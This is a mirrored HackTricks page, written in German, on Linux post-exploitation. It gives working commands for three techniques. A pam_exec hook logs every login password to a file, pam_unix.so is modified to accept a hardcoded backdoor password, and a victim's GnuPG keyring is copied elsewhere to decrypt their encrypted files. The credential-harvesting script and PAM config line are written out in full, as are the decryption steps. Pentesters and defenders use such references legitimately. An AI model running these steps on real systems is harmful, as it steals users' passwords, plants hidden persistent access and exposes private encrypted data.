mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
82 lines
5.2 KiB
Markdown
82 lines
5.2 KiB
Markdown
# Linux Post-Exploitation
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Sniffing Logon Passwords with PAM
|
||
|
||
Konfigurieren wir ein PAM-Modul, um jedes Passwort zu protokollieren, das ein Benutzer zum Einloggen verwendet. Wenn du nicht weißt, was PAM ist, siehe:
|
||
|
||
|
||
{{#ref}}
|
||
pam-pluggable-authentication-modules.md
|
||
{{#endref}}
|
||
|
||
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Dies ist nur eine Zusammenfassung:
|
||
|
||
**Technikübersicht:**
|
||
Pluggable Authentication Modules (PAM) bieten Flexibilität bei der Verwaltung der Authentifizierung auf Unix-basierten Systemen. Sie können die Sicherheit verbessern, indem Login-Prozesse angepasst werden, stellen jedoch auch ein Risiko dar, wenn sie missbraucht werden. Diese Zusammenfassung skizziert eine Technik, um Login-Anmeldeinformationen mit PAM zu erfassen, sowie Gegenmaßnahmen.
|
||
|
||
**Erfassung von Anmeldeinformationen:**
|
||
|
||
- Ein bash-Skript mit dem Namen `toomanysecrets.sh` wird erstellt, um Login-Versuche zu protokollieren und dabei Datum, Benutzername (`$PAM_USER`), Passwort (über stdin) und die IP des Remote-Hosts (`$PAM_RHOST`) in `/var/log/toomanysecrets.log` zu erfassen.
|
||
- Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (`common-auth`) eingebunden, indem das Modul `pam_exec.so` mit Optionen verwendet wird, um leise zu laufen und das Authentifizierungs-Token dem Skript zur Verfügung zu stellen.
|
||
- Der Ansatz zeigt, wie ein kompromittierter Linux-Host ausgenutzt werden kann, um Anmeldeinformationen unauffällig zu protokollieren.
|
||
```bash
|
||
#!/bin/sh
|
||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||
sudo touch /var/log/toomanysecrets.sh
|
||
sudo chmod 770 /var/log/toomanysecrets.sh
|
||
sudo nano /etc/pam.d/common-auth
|
||
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
|
||
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||
```
|
||
### Backdooring PAM
|
||
|
||
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Dies ist nur eine Zusammenfassung:
|
||
|
||
Das Pluggable Authentication Module (PAM) ist ein unter Linux verwendetes System zur Benutzer-Authentifizierung. Es basiert auf drei Hauptkonzepten: **username**, **password**, und **service**. Konfigurationsdateien für jeden Service befinden sich im Verzeichnis `/etc/pam.d/`, wo shared libraries die Authentifizierung übernehmen.
|
||
|
||
**Objective**: Modifiziere PAM, um Authentifizierung mit einem bestimmten Passwort zuzulassen und das tatsächliche Benutzerpasswort zu umgehen. Dies konzentriert sich besonders auf die `pam_unix.so` shared library, die von der Datei `common-auth` verwendet wird, die von fast allen Services zur Passwortüberprüfung eingebunden wird.
|
||
|
||
### Steps for Modifying `pam_unix.so`:
|
||
|
||
1. **Authentifizierungs-Direktive lokalisieren** in der Datei `common-auth`:
|
||
- Die Zeile, die für die Überprüfung des Benutzerpassworts verantwortlich ist, ruft `pam_unix.so` auf.
|
||
2. **Quellcode ändern**:
|
||
- Füge eine Bedingung in die `pam_unix_auth.c` Quelldatei ein, die den Zugang gewährt, wenn ein vordefiniertes Passwort verwendet wird; andernfalls läuft der normale Authentifizierungsprozess weiter.
|
||
3. **Kompilieren und Ersetzen** der modifizierten `pam_unix.so`-Bibliothek im entsprechenden Verzeichnis.
|
||
4. **Testen**:
|
||
- Mit dem vordefinierten Passwort wird über verschiedene Services (login, ssh, sudo, su, screensaver) Zugriff gewährt, während die normale Authentifizierung weiterhin unverändert funktioniert.
|
||
|
||
> [!TIP]
|
||
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||
|
||
## GPG loot durch Verlagerung des homedir entschlüsseln
|
||
|
||
Wenn du eine verschlüsselte `.gpg`-Datei und das `~/.gnupg`-Verzeichnis eines Nutzers (pubring, private-keys, trustdb) findest, diese aber wegen GnuPG homedir-Berechtigungen/Locks nicht entschlüsseln kannst, kopiere den keyring an einen beschreibbaren Ort und nutze ihn als dein GPG home.
|
||
|
||
Typische Fehler, die ohne diesen Schritt auftreten: "unsafe ownership on homedir", "failed to create temporary file", oder "decryption failed: No secret key" (weil GPG das originale homedir nicht lesen/schreiben kann).
|
||
|
||
Ablauf:
|
||
```bash
|
||
# 1) Stage a writable homedir and copy the victim's keyring
|
||
mkdir -p /dev/shm/fakehome/.gnupg
|
||
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
|
||
# 2) Ensure ownership & perms are sane for gnupg
|
||
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
|
||
chmod 700 /dev/shm/fakehome/.gnupg
|
||
# 3) Decrypt using the relocated homedir (either flag works)
|
||
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
|
||
# or
|
||
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||
```
|
||
Wenn das geheime Schlüsselmaterial in `private-keys-v1.d` vorhanden ist, entsperrt und entschlüsselt GPG ohne Abfrage einer Passphrase (oder fordert zur Eingabe auf, wenn der Schlüssel geschützt ist).
|
||
|
||
|
||
## Referenzen
|
||
|
||
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|